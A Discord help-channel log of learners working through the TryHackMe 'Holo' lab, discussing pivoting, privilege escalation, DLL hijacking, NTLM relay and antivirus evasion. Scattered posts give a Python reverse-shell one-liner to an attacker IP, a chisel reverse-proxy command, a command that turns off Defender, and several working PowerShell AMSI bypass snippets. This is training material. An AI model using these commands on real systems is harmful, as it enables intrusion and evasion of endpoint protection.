Actually my command was something I used on another box using dir bruteforcing, but you should try the -b switch.

candid wraith
#

I could totally be misunderstanding what's being asked though.

lilac pond
#

No you are looking for subdomains.

#

Use vhost

#

I actually didn't encounter your problem when I ran gobuster vhost, maybe your network needs a reset

candid wraith
#

I just ran a dir for the giggles just changed the FDQN to holo.live in your example and got 200s on everything

#

so maybe

#

did i screw up the hosts file? its just supposed to be the ip address and www.holo.live right?

lilac pond
#

You can submit one reset vote every hour. So if nobody on your network wants to vote. You can just keep adding reset votes once an hour and do something else like a different lab environment.

candid wraith
lilac pond
#

Yeah try again, you should find two to three more subdomains.

candid wraith
#

still doing it... starting to wonder if I have an issue with gobuster itself

lilac pond
#

I decided to pause on the AMSI bypass exercise until I learn the basics of JScript Shellcode Runners from OSEP material. From what I understand, getting a AMSI bypass to work is the hardest part of holo. But I made myself persistent by adding my own SSH key to L-SRV01, so all I have to do is turn the network on again, SSH back in as root, restart Chisel, reset the password for the account in a later task, and then upload my payload.

lilac pond
#

I think the instructions are vague for AMSI bypass but I believe I am supposed to test out my AMSI evasion in the recommended developer VM first before proceeding.

candid wraith
#

maybe I should distro hop and see if I have success. I just uninstalled and reinstalled Gobuster and same thing. If anyone sees this tomorrow and I have not replied to this message I am likely still stuck. But its almost midnight here. So I am going to head to bed.

candid wraith
lilac pond
#

While you are knocking down tasks 1-33, just download the recommended VM in the background and run it in VMWare. I did try to qemu-img convert it into KVM but it broke on me for some reason, it went into a automatic repair loop. Probably because I first had to import it into VMWare and then qemu-img convert it from there.

#

I was doing everything the hard way, because I like KVM and Proxmox so much.

buoyant marlin
hollow steepleBOT
#

Gave +1 Rep to @cinder notch

cinder notch
#

should be.

#

Remember that which checks the $PATH variable for the file that you're looking for, so if it wasn't in the PATH, which will not find it

buoyant marlin
#

Im pretty sure i checked the $PATH variable and the path was there but i could be wrong. It was hours ago lol but thanks again. When I get back on it, ill add my own ssh key

lilac pond
#

I am having trouble running Windows 11 version of the developer VM that was recommended in the THM holo page. All I need is Visual Studio right? Can I use my own Windows 10 VM? Edit: I'll try my CommandoVM install on my Proxmox VE while i'm waiting for VMWare Tools to get this Windows 11 development VM working.

cinder notch
#

The point of the developer VM is to have something to compile C# Visual Studio projects and modify code to test and evade AV

#

So do as you please

lilac pond
green cobalt
#

THM staffs, It seems there's an issue with the fileserver. Tried to restart twice but it's not coming back up. 💔 💔 💔

Hope you could check it. Thanks!

brittle fable
#

Hi, I was working on holo when I suddenly lost connectivity to its network. It looked like the environment "went to sleep" even though I was working on it actively. I started it again (10 minutes ago) but I can't ping or access any machine. I restarted my openvpn connection and even regenerated the package but still no progress. Any clues?

#

Pinging just gives me a Destination Host Unreachable

ocean hare
#

Short question regarding Task 29.
The client side filter and the AV are supposed to work right? it is not supposed to accept every file and execute whatever payload i upload
Cos i was able to upload what i wanted, regardless of the file type and the payload got executed like it should.

cinder notch
#

Someone could have edited the code on the server-side to remove the filter, and then proceeded to disable AV

candid wraith
#

I have www.holo.live in the hosts file under the ip 10.200.133.33

ocean hare
candid wraith
hollow steepleBOT
#

Gave +1 Rep to @ocean hare

ocean hare
candid wraith
#

Looks like I did it, couldn't quite figure it out in gobuster but did it in wfuzz and got the following results. ||'''admin and dev'''|| used the following command||''' wfuzz -w /usr/share/wordlists/dirb/common.txt -H "Host: FUZZ.holo.live" -u http://10.200.133.33 --hc 400 --hh 21456`''||

#

big thanks man

sage berry
#

Weird,||i can't login to admin with creds, but could like an hour ago, can still access dev and www||

buoyant marlin
#

Hello, im kinda confused on what is going on in the pivoting section. I get how to use chisel and got that running but im stuck on figuring out what is going on with proxychains and getting that to work. I edited the conf file and added socks5 127.0.0.1 1080 but i cant get anything back when i use curl. Ive tried some combinations of my tun0 and localhost with the different ports but nothing.

ocean hare
ocean hare
sage berry
hollow steepleBOT
#

Gave +1 Rep to @ocean hare

buoyant marlin
ocean hare
#

correct me if i am wrong, you are trying:
curl http://127.0.0.1 or curl http://10.111.x.x (which is not the ip from the holo network)

buoyant marlin
#

for the second its my ip from the vpn file, not the server ip

ocean hare
#

From the section "Pivoting":
"To use the proxy, you will need to prepend any commands you want to route through the proxy with proxychains."

#

you dont want to access something on "your" system. you use chisel so your system knows how to redirect the traffic.
so sending request with proxychains directs to chisel server, the chisel server directs to chisel client which redirects to the target you want to access.

buoyant marlin
#

so we want to use proxychains to send a request to the chisel server?

ocean hare
#

You use proxychains to send your request to the chisel server which is connected to the holo network and you want to access a domain inside this network

#

it's like telling your terminal what to do with the request.

static kayak
#

stuck on Covenant setup for SharpEDRChecker

#

never used Covenant before

#

struggling to build it

#

SharpEDRChecker task

green cobalt
#

Anyone can help?

Tried Task 47 again where I need to reboot the Fileserver. Same as yesterday, the server didn't come back online.

lilac pond
#

I tried the easy way, use SharpShooter to make both a js and vbs shellcode runner that bypassees AMSI. Then I modified the suggested PHP executor file to run "cscript.exe" to use the Windows Scripting Host. Didn't seem to work. I'm just gonna stick with the way that THM said in the guide

lilac pond
#

I bypassed AMSI, got to the next box. Was seatbelt.exe supposed to be in the Downloads directory for the user on PC-FILESRV01? Because all of the sudden I couldn't get the AppLocker Bypass to work. Edit: Nevermind, completed Holo Live.

lilac pond
# buoyant marlin so we want to use proxychains to send a request to the chisel server?

chisel is available as a ELF binary on Parrot by default. It can run in both server and client mode. You drop chisel on your victim, while running chisel on your attacking machine as a server. Then you chmod +x chisel on the victim and run ./chisel client attackerIP:8000 R:socks to have it connect back to your attacking machine to create a socks5 proxy that dynamically forwards requests and allows you to crackmapexec and xfreerdp to new targets on the network. It's also written in Golang, and while the apt repo's install of chisel doesn't give you the source, you can clone the git repo to cross compile it to have the chisel client run on Windows, Macs, FreeBSD, Linux, Unix machines.

wise quarry
#

Whats the status of the relay thing?

zenith delta
lapis crescent
#

Hey guys can somebody help me with the PC-FILESRV01 Priv-Esc?

buoyant marlin
sage berry
#

Can someone please help me with AV part, I think I bypassed everything, but can't seem to catch a shell? nvm, i think i got it

buoyant marlin
#

So im trying to get convenant up and running but im coming across this issue when i try to run the project with dotnet i get the error Couldn't find a project to run. Ensure a project exists in ./Covenant/Covenant, or pass the path to the project using --project. and this is my command to run it sudo dotnet run --project ./Covenant/Covenant i also followed the steps outlined on this page to install SDK https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/sdk-3.1.416-linux-x64-binaries

Microsoft
Download .NET Core 3.1 SDK (v3.1.416) - Linux x64 Binaries
#

Well i think i figured the error above out by running dotnet new console in the project area then when i try to run covenant, im missing a lot of stuff so something mightve went wrong with my installation

#

All set! (so far). Maybe adding that dotnet new console command to the instructions if others have come across the same issue?

lilac pond
#

Are you using Kali or Parrot? I installed the dotnet package on Parrot and everything worked fine and followed the instructions to install Covenant on the challenge instructions from github

buoyant marlin
#

I am using kali

zenith delta
opal scarab
#

does the kavremover have a scheduled task? because i cant get the session back? and with Get-ScheduledTask dont seems kavremover to be one of them

lapis crescent
#

@opal scarab kavremover should be a scheduled task from Admin so you wouldńt see it but on my network i also cant get the kavremover dll hijack to work

opal scarab
#

thanks, probably someone broke the task

lapis crescent
#

No i also rebooted the whole network no task there but youre welcome to try else you can use another exploit on that server

#

Do we have some AD Specialists in here who can help me to understand/learn something about TGS?

zenith delta
#

I am on this Task Task 20 Privilege Escalation Call me Mario, because I got all the bits

When I do this sudo install -m =xs $(which docker) . I aks for www-data password?

#

I tried the passwords, that I already found

lapis crescent
zenith delta
#

hmm I see, I will try a few stuff

#

can I pm you?

lapis crescent
buoyant marlin
#

Could someone possibly dm me about understanding the AV section?

abstract flume
#

Can anyone help me with holo room

#

I tried to escalatie privilege in LSRV01 and tried excute docker privesc script from gtfo bins and it is showing 'Unable to find image 'alpine:latest' locally' which works for my friend perfectly well

wind bobcat
ocean hare
abstract flume
#

alpine is not on the machine and cannot be downloaded either with that privilege

ocean hare
#

Thats correct what else is on the machine that could serve a similar propose as apline?

abstract flume
#

I wlil check

#

like jessie, stretch and buster?

ocean hare
#

Goes in the right direction.
Why does the command you are trying to execute uses "alpine".
Try to find out a bit more about the docker instance running on the system and read the gtfobins entry from the really beginning

abstract flume
#

Right! Thanks bro. I'll go try again

ocean hare
abstract flume
#

there is no other image like alpine in the machine too

ocean hare
#

can i DM you?, because you are getting close and i dont want to include spoilers here

abstract flume
#

Yesyes

#

Please

ocean hare
#

Someone here working on 10.200.132.x?

ocean hare
#

@lapis crescent Hey were you able to get the dll hijacking to work?

lapis crescent
#

@ocean hare Hey no wasn‘t able to get that working used a workaround

ocean hare
#

Alright thanks. will keep digging

gaunt crown
#

i have issues connecting to the network

#

ive downloaded the network configuration file and connected using ovpn

#

yet im not able to access the machine which i was previously able to

#

all of a sudden its not responding to any pings or requests

static kayak
#

can anyone give me a pointer on how to start to build the AMSI bypass?

patent urchin
#

I just pwned the host running the docker container (so I escaped the docker, and then privesc to root), is there someone who I can pm so get some insights to fully understand what I'm doing here?

sonic arch
static kayak
hollow steepleBOT
#

Gave +1 Rep to @sonic arch

formal citrus
#

right after a network reset, someone crashed the webserver on the 10.200.108.0 Network, this is getting really old

wise quarry
#

hey, i cant seem to get the dll hijacking working, i replaced what i think is the correct .dll, put it in what i think is the correct directory but i dont get the callback

wise quarry
#

is PC FILESRV01 no longer vulnerable to printnightmare or am I doing it wrong?

timid sandal
#

Hi guys....Quick one...What happens when the days of access left for this network terminate?

Will i have to start from scratch?

wind bobcat
#

room progress does not get reset.

cedar maple
wind bobcat
#

netcat ftw!

cedar maple
#

regarding privesc on FILESRV01,is the admin service not working? (subnet 146)

wide aspen
#

is there anyone can wote reset for holo , i can't get reverse shell from PC-fFILESERVER01 i guess someone deleted scheduled tasks , so it doesnt' give me reverse shell even i changed dll with my malicious dll , and i coudldn't find that scheduled task work when i checked shcheduled tasks with powershell

cedar maple
#

we're at 4/5 anyways so

unknown.png
cedar maple
#

yeah the admin task is still not running after reset, so maybe i'll try another way to privesc

silent gulch
#

Hey guys.
Not quite sure how to go ahead with the amsi bypass. I have the bypass ready. I tried running a php script that first runs the bypass code and then execute the reverse shell. Doesn't seem to work. I am not using Covenant for now, just trying to do this manually. Any hints?

buoyant marlin
#

Anyone available to help on the file upload portion in task 29?

silent gulch
#

Voice chat?

buoyant marlin
silent gulch
#

medium study.

pearl mural
#

I don't know why but the dll hijacking won't work for me

low tinsel
# silent gulch Hey guys. Not quite sure how to go ahead with the amsi bypass. I have the bypas...

Here is how I approached it as the task made assumptions which did not work for me. We know that it is a win box running php. So we can call on php to provide a route for commands (LFI), but at the same time we do know that stock scripts/code are not going to fly so we can obfuscate (<key) some code that could be called by a native command from php.
To be honest this took a few hours of work as I really wanted to avoid a Covenant fiasco but it is certainly achievable without too much trouble but found a win vm to test what would and wouldn't pass amsi invaluable. I hope that helps without giving the game away....

silent gulch
hollow steepleBOT
#

Gave +1 Rep to @low tinsel

sullen oar
#

someone on Holo rn ?

sonic arch
#

Yes, till a few moments ago, when the network turned out, to be unreachable.. sigh

zenith delta
#

I am getting this error, when I try to run covenant grunt

unknown.png
#

I re-installed Convenant, I tried different grunts etc, but all leads to this error

small lodge
#

Can anyone access holo rn? The first server is unreachable for me

sonic arch
small lodge
#

Man... this is happening a lot with Holo on the weekend. Gotta wait for a reset

#

same happened when I was in the privesc of task 20. Someone started deleting random files with sudo permissions and then the whole thing went down

gaunt crown
#

dll takeover ain't working

#

sigh

sonic arch
sonic arch
#

Aaaaaand here we go again, lol...

small lodge
#

@sonic arch rip. Thanks though, that seemed to have worked

hollow steepleBOT
#

Gave +1 Rep to @sonic arch

small lodge
#

its infuriating how slow it is though. Just getting the first steps out in is frustrating as hell

sonic arch
#

Is the NTLM-Relay attack supposed to work again?

silent gulch
#

guys reset?

solid oasis
sonic arch
#

Darnit.. Then I just suck.. lol

solid oasis
#

I should work if you follow the guide, but it's in the details.

sonic arch
#

I just started to read into this topic, but the main issue I face atm, is that I can't use rdp to login with the local administrator on the PC-FILESERV01. But via evil-winrm. Does it make a difference if I privesc via PrinterNightmare or now that it's fixed, the dll hijacking?

sonic arch
#

Uiuiuiuiui.. NVM, found it. Time for epic facepalm..

low tinsel
#

having trouble with PC-FILESRV01 - creds being rejected - "SPNEGO received NTSTATUS: STATUS_NETLOGON_NOT_STARTED [0xC0000192] from server" threads in this room indicate I am on the right route so have voted for a reset - anything else I can do ?

wide aspen
#

any help ? for Remote NTLM Relay , i tried more than 6 times reboot machine and try to get shell , but still doesn't come connection

unknown.png
solid oasis
wide aspen
wind bobcat
#

it looks like ntlmrelayx is having trouble communicating with 10.200.120.30.

wide aspen
#

i reset 2 times 🙂

#

reset network in 2 days 🙂 i don't count anymore machine

wind bobcat
#

that doesn't necessarily mean something is wrong with 10.200.120.30

#

it means there may be something wrong with your pivot

wide aspen
wide aspen
winter barn
ruby tree
#

Can anyone explain why getting a stable shell on L-SRV01 is so difficult?

#

Literally nothing works except for nc -c

#

And pty isn't working at all

#

I want to move on to the docker stuff but I can't get a usable shell on this box

#

After some experimenting, this command seems to work (URL encoded)

#

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.50.112.120",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

#

But nothing else I've tried does it

#

I can't get any binary on the system to send a connection, except for netcat and python3 via this one singular command, and I have no idea why

low tinsel
# solid oasis Someone has disabled NetLogon on that server, this is part of the remote NTLM re...

thanks for the reply, today xfreerdp (where the netlogon msg came from) is still not working however remmina is working which it did not yesterday - only issue is that I picked up someone elses rdp session (apologised and handed it back to them) - no route with crackmap or evil-winrm and have tried sshuttle and chisel. guess I will have to wait until I see the network drop due to inactivity so I can grab the rdp session - in the mean time I will have a look at other options on the box

hollow steepleBOT
#

Gave +1 Rep to @solid oasis

gaunt crown
#

10.200.110.x subnet has issues with dll takeover

#

my subscription ends within few days someone help me out with resets

ruby tree
#

2/5

static kayak
#

anyone free to discuss task 43 (dll highjacking) please?

clever sky
#

What's up with task 9 - GoBuster vhost. The website has no specific URL, only an ip address. Does running the scan with the ip address instead of the URL still give results?

wind bobcat
#

No.

low tinsel
#

So the network seems to have been reset (new ssh host keys) but still having a bit of trouble with PC-FILESRV01. RDP login now has login restrictions applied to it and crackmap now sees .35 but the expected access does not occur but does work for S-SRV01 - is there any other route ?SMB 10.200.123.35 445 PC-FILESRV01 [+] HOLOLIVE\wxxxxx:xxxxxxxxxxxxxxc9 SMB 10.200.123.30 445 DC-SRV01 [+] HOLOLIVE\wxxxxx:xxxxxxxxxxxxxxc9 SMB 10.200.123.31 445 S-SRV01 [+] HOLOLIVE\wxxxxx:xxxxxxxxxxxxxxc9 (Pwn3d!)

heavy shoal
#

who can i msg to confirm something on the holo active directory machine don't wnt to spoil it

latent vine
#

Anyone else's Microsoft Edge went berserk too when tried to visit Holo page?

holo1.jpg holo2.jpg holo3.jpg
cinder notch
#

Your AV probably freaked out at seeing the AMSI bypass template code that's displayed in some of the tasks

wind bobcat
#

we've dropped a message in the slack - historically, we've been able to clear some of these things up w/ AV Vendors

gray timber
gray timber
wide aspen
low tinsel
#

Just finished, great journey - kudos to the the creators and those in here helping out. pretty much worked as designed in hindsight but I would treat the steps more as guidelines which is great because it helped think about other options or routes (many did not work for me but they are all skill builders!)

silent gulch
low tinsel
#

sure-if the answer benefits the room e.g. something should of worked but didn't I will put it up for all

gaunt crown
#

can someone help me with dll hijacking

gaunt crown
south ruin
#

Someone who finished with the AMSI bypass can help me to find right resources to solve FILESERV01 privesc ?

abstract flume
#

I also need help with dll hikacking

#

Uploaded melicious dll but can't get reverse shell

frozen iron
#

the first server shut down 😢

#

thanks to the guy who put threads 100 xD

heavy shoal
#

still finding way to get reverse shell on the windows i have RCE already but can't seems to get a shell back to terminal

frozen iron
#

i hope throwback have personnal instance because others network are unplayable when a dumb guy is on it..

heavy shoal
frozen iron
#

cant access the admin.holo.live/dashboard.php for the RCE and that's really boring...

#

the page just hang out since 5min and cant go on the dashboard and im sure im the only one who started this section 😢

#

let's go to DANTE...

heavy shoal
frozen iron
#

you can access the dashboard?

#

the login page is okay but when i enter the good creds found previously the page load and load and load and load xD

#

thanks for your time 😉

heavy shoal
heavy shoal
frozen iron
#

i will stop the lab and restart

heavy shoal
#

ok bro

frozen iron
#

thank you for the time you took to check it

heavy shoal
heavy shoal
south ruin
#

Does someone think that from srv01 there is a chance also to pwn the DC ?

#

And not from filesrv01 ?

#

I "just" have to root now the filesrv01 and the dc

low tinsel
gaunt crown
gaunt crown
low tinsel
gaunt crown
#

oh gosh

#

such a nightmare

gaunt crown
#

10.200.110.x down

#

🥲🥲

clever sky
#

Can anyone help me on task 13? I tried a number of different variations of wfuzz commands, I am not getting anywhere though.

frozen iron
#

since yesterday admin.holo.live/dashboard cant be accessed...

#

it is a nightmare but not in a positive way... how to play if i cant access it xD

#

i tried leave the room and back, nothing...

ocean hare
#

Have you cleared your cookies?

frozen iron
#

yeah

#

i can connect to admin subdomain but cant access the dashboard even with the good creds founds previously

#

yesterday i had a rev shell on it but must go, and when back i restart the nerwork and cant access the dashboard since that, i tried leave room and back to the room, cleared cookies for THM and admin subdomain etc etc

#

it is back now

#

anyway thank you for your time

ocean hare
#

I had the same issue and clearing your browsers cookies and cache did the trick for me

heavy shoal
#

been on it for 2 days straight now

ocean hare
#

For 10.200.x.31 or 10.200.x.35?

heavy shoal
ocean hare
#

@wide aspen are you still working on 10.200.120.x?

wide aspen
#

No i finished

south ruin
#

Just got the DC ntlmv2

#

Can't crack it 😂

heavy shoal
south ruin
#

I can't run there ntlmrelayx

#

So I need to send the hash from the docker machine to my machine for relay and without ntlmrelayx. Im trying to find a solution

heavy shoal
south ruin
#

I'm on 33

#

Sorry lol didn't know what was that haha

#

I'll explain u. On 33 I run responder. I get the DC hash. But I can't run there ntlmrelayx because there is not impacket repos there

heavy shoal
#

you know 33 is linux right ??

south ruin
#

Yep ofc

#

So what ?

heavy shoal
#

why not pivot to 31

south ruin
#

I already did

#

Im trying to get the DC from Linux

heavy shoal
# 
PC-FILESRV01
south ruin
#

I pwned SRV1 system, Linux root, and I just have user on filesrv01

heavy shoal
south ruin
#

Did u pivot on different users ?

#

I see a lot of users on that AD with power view

heavy shoal
#

when i dump the hash with mimikatz that how i got the hash for watamet

south ruin
#

Yeah same for me

heavy shoal
#

lol and that wer am stuck

south ruin
heavy shoal
odd valve
#

yo task 43 still cant get the dll to connect anyone know why... is it broken or anything i have done as it should be done

#

yo could u help me with task 43? its the dll and i have done how its supposed to be (i think) and still dont work

south ruin
heavy shoal
#

now seems everything is down can't access machines anymore

odd valve
#

its insane i tested multible exploits with metasploit all i get is just a meterpreter shell (basic one) and then cant get to escalate my privilege

south ruin
#

Actually I'm pretty happy to experiment difficulties with AMSI bypass and AppLocker Bypass because it makes me willing to understand deeper every protocol and defense endpoints

odd valve
south ruin
#

Anyway I didn't say that to talk bad to u

odd valve
south ruin
#

There is also many false positives from winpeas

lusty nimbus
#

Hi, I have some troubles with Task 18: "What user is the database running as?" I have ps output with full user names (not truncated), but the username for mysqld process is not a valid answer (also truncated version of that user is also not valid response). What should I put there?

ocean hare
#

At that point you have a user shell right? Which you got through the web app

lusty nimbus
#

yes, I have, I also have reverse shell from L-SRV01

ocean hare
#

So you know which user is running the web app right? And you are able to access the database

lusty nimbus
#

ok, I got it, I thought it was about the user from which database is started (ps axu | grep mysql)

ocean hare
#

you thought just a bit too far 😉

zenith delta
#

Who else got this issue? I am using Convenant. But. somehow getting this error

unknown.png
candid mulch
#

Guys how to find the application for DLL hijacking? I cannot find it in PEAS outputs or getscheduled task outputs

south ruin
#

If someone can reset 124 I'll be happy

#

Thx bros

#

And sis

candid mulch
#

My ntlmrelayx.py is erroring out with "smbclient error : connection was reset" any hints?

runic ocean
#

In Task 29 the JS filters & AV must have blocked our file upload but i didn't find any issue while uploading the file on the server

#

Also I got the reverse shell & got the root flag without any issues, which clearly means that AV is disabled, is it intended?

cinder notch
#

There's nothing stopping someone from turning off AV, and while the network creators have advised against doing that (both from a learning and a courtesy perspective), people do it anyway.

#

You can run sc query windefend on the Windows machine to check the status of AV.

#

Also someone might have edited out the client-side filter

runic ocean
#

because in previous messages as well, few of the users posted the same doubt

runic ocean
heavy shoal
#

if someone can reset 119 it will be cool

timid moss
#

Where do you change the apache conf file to switch to port 8008?

#

8080*

trim totem
#

Is .33 supposed to have an http service running on port :80? The only open port I see is :22 (.95 subnet)

frozen iron
#

mybad they reset the network 😢

frozen iron
#

someone can use evil-winrm to connect to PC-FILESRV01???

#

cant make it work

#

some help is welcome 🙂

minor flax
#

Can anyone confirm on Task 43 there should be a scheduled task set up for non-windows directory app (don't want to give too much away)

#

@frozen iron I had no success with winrm on that server, no idea why. Could crackmapexec with SMB and RDP. But winrm failed with both password and hash

frozen iron
hollow steepleBOT
#

Gave +1 Rep to @minor flax

frozen iron
#

im sure PSRemoting isnt enable, maybe they forgot :p

minor flax
#

Should be working, but literally no idea

frozen iron
#

yeah should be 🙂

#

i literally just waited 15min trying things and it was just the lab time whcih expired xD

minor flax
#

ooo, so rebooting it has fixed it?
I think I need a full reset for scheduled tasks to fix, which luckily is tomorrow

frozen iron
minor flax
#

Can anyone confirm on Task 43 there should be a scheduled task set up for non-windows directory app (don't want to give too much away)
Without this I don't think I can complete the task, and therefore the further tasks and it's really annoying

minor flax
#

Turns out after a reset there still isn't a scheduled task.

unreal flicker
#

i am also cant find sheduled task... vote for reset 147.35

minor flax
#

The network got reset and there isn't a scheduled task. I'm utterly baffled

minor flax
#

@unreal flicker what do you get if you try and run the application? Trying to see if it's the exact mirror of what's happening to me

unreal flicker
#

it says that only administrator can run the program

minor flax
#

Yeah exactly the same as I get.
How annoying! We are so close!

unreal flicker
#

vote vor reseting network, maybe 2-nd time it will help

minor flax
#

On different networks sadly.

minor flax
#

Is it a room bug maybe? Might be worth reporting?

trim totem
#

In task 48 I have sshuttle set up to .33 and can connect to dc01 (checked with smbclient -l). ntlmrelayx says it creates the connection to 445 but then psexec and smbexec both get 127.0.0.1:1080 <-> 10.200.95.30:445 connection denied. I also tried to use psexec -t 10.200.95.35 -c 'path-to-shell.exe' to run a meterpreter shell in the context of srv-admin on filesrv but it doesn't seem like it ever gets run. did anyone solve this task recently that I could compare with?

minor flax
#

@trim totem help me with the getting an admin shell on FILESRV01 and I'll do this bit tomorrow and help out.
(See up for the issues with scheduled tasks)

trim totem
minor flax
trim totem
timid moss
#

Is anyone stuck on the damn docker image part?

#

That was miserable

frozen iron
#

What's your problem @timid moss

#

Always ask question directly because people generally dont lose time like that ;)

#

On the amsi bypass part, when i try to bypass amsi form my webshell i cant make it work, someone to help me?

#

The method to bypass amsi doesnt work for me rn, the first time i just disabled it since i saw i was system but after i see there is a amsi bypass section

#

It seems the [PSObject] doesnt work

#

I tried multiple concatenate 1nd PSObject which doesnt work on the webshell

#

Maybe i will try directly on powershell to see if this is really the webshell who fuck the whole thing

#

So if someone made it work trhough webshell and can share it on DM

frozen iron
#

:'(

lusty nimbus
#

hi, it seems that .108.35 is missing scheduled task, will network reset restore it?

#

ah, nevermind, I see that there is another way

frozen iron
#

thanks for the help xD

heavy shoal
frozen iron
#

it seems nobody made the amsi bypass xD

#

anyway

heavy shoal
frozen iron
#

sad because that's a great skill to learn, one of the best here with the applocker bypass but even the applocker bypass people skip it xD

#

you just disabled it like we are SYSTEM?

#

@heavy shoal

heavy shoal
frozen iron
#

i skipped the amsi bypass since i hav my kid around playing playstation and screaming but now i come back to it and seems my shell fuck the bypass i think

#

cant make it work

#

but when i try whe n i get a real shell on the machine it work

#

i dont know what my webshell break

heavy shoal
heavy shoal
heavy shoal
frozen iron
#

yeah but no because i want to find a bypass that works from the webshell

frozen iron
heavy shoal
frozen iron
#

did you note what bypass you used from your webshell to bypass it?

heavy shoal
frozen iron
frozen iron
hollow steepleBOT
#

Gave +1 Rep to @heavy shoal

heavy shoal
frozen iron
heavy shoal
#

when i get DC i will reset and find a way to bypass it again

frozen iron
#

yeah let me know when you did it 🙂

#

i will try on my side and if not from webshell i will make some research directly from the machine

#

or on my home lab directly

heavy shoal
frozen iron
#

GL 🙂

heavy shoal
heavy shoal
hollow steepleBOT
#

Gave +1 Rep to @frozen iron

frozen iron
#

if someone has an amsi bypass who worked from the webshell and can DM me i will be generous :p

trim totem
trim totem
frozen iron
#

i just figured out that wasnt AMSI who was my problem but it was defender xD

#

i disable defender but i keep amsi and it works

#

so i worked on defender and AMSI and now it is working like a charm

minor flax
frozen iron
#

since we are already SYSTEM i dont understand the need of bypassing AMSI since we can disable all xD

#

thanks everyone for helping!!!

minor flax
#

The webshell was SYSTEM so I added a new user, added them to admins & remote desktop users and RDPed in

#

I basically said fuck Convenant at that point

#

actually that's a lie. From RDP I opened PowerShell ISE and copied in the obfuscated PS Launcher from Covenant. (When you create it you can copy it as obfuscated) and this worked.
But I may have manually turned off Defender at this point, because I could

frozen iron
#

yeah, but that wasnt the real learning objective that's why i wanted to dig into it, because the first time i did it without reading the objective i just Set-MpPreference -DisableRealtimeMonitoring $true from my webshell and after that i executed a beacon directly from pwsh

lusty nimbus
#

I think something is messed up with instructions versus state of the network. I also had system on s-srv01, so I skipped some AMSI related tasks. Also, later there are references to s-srv02 (task 48) but previous tasks don't mention that server (only s-srv01 & pc-filesrv01), so something needs to be updated in tasks description, because it's a bit confusing at the end.

frozen iron
#

yeah some update will be welcome

#

because it is like the [PSObject] part in AMSI which doesnt work anymore since powershell 4.0 xD

#

nope my bad wasnt that part xD

heavy shoal
heavy shoal
frozen iron
#

$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m)) $field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static') $field.SetValue($null,$true)

#

that one works

#

amsi bypassed

heavy shoal
frozen iron
#

for sure that's why i posted it 😉

minor flax
#

I felt the entire AV evasion explanations weren't overly helpful. I wanted to learn it and just got frustrated at what it was telling me

#

I think I got AMSI Bypass working with:

[PSObject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::Add('Yekki', [system.runtime.interopservices.marshal])


$MethodDefinition = "

    [DllImport(`"kernel32`")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport(`"kernel32`")]
    public static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport(`"kernel32`")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$ABSD = 'AmsiS'+'canBuffer';
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::$Virtual
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); 

[Yekki]::copy($buf, 0, $BufferAddress, 6);```
#

but yours seems wayy easier

#

Turns out I tried that on the box:
Not ideal

unknown.png
frozen iron
#

be careful because if someone before you disabled it

#

i will try it

#

but it is a trial and error thing like AV evasion

minor flax
#

Yeah, that worked on my own VM. Not sure what happened on their box

frozen iron
#

ok thanks for sharing 🙂

#

i think the webshell doesnt help xD

#

it is like the evil-winrm thing in whatever task which doesnt work too even if it must work xD

minor flax
#

Yeah still didn't work that one out!

frozen iron
#

happy we found some bypasses 🙂

#

it would be sad to have this entire section being fully useless

minor flax
#

haha I know right

#

I've written a walkthrough and these sections are really rather light on info 😐

frozen iron
#

$OBS = ('Vi' + 'r' + 'tua' + 'l' + 'Pr' + 'o' + 't' + 'ec' + 't'); $TAType = [psobject].Assembly.GetType("System.Management.Automation.TypeAccelerators") $TAType::Add('dorkstork',[system.runtime.interopservices.marshal]) $MethodDefinition = " [DllImport("kernel32`")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$ABSD = 'AmsiS'+'canBuffer';
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::$OBS($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[dorkstork]::copy($buf, 0, $BufferAddress, 6);`

#

this one work too

#

but on their machine it doesnt work xD

minor flax
#

haha any ideas why?

frozen iron
#

i must try it when the machine is in a more cleaner state, since i tried so much things and if others users did the same xD

frozen iron
minor flax
#

Print Nightmare works easily enough though! So that's nice I guess

Scratch that, didn't appear to create the user.

Password complexity is hard 😄

minor flax
#

So the theory of the DLL hijacking is right. I just did it with my admin user, and it worked as expected. If only that scheduled task was there!

zenith delta
#

is anyone knows why I can't read the shadow file? And there is no wget though I don't know what is wrong. Thanks~

unknown.png
cinder notch
#

You’re reading it, you’re just in a docker container

#

The room walks you through every step of the escape

#

Read carefully 🙂

zenith delta
hollow steepleBOT
#

Gave +1 Rep to @cinder notch

uncut umbra
#

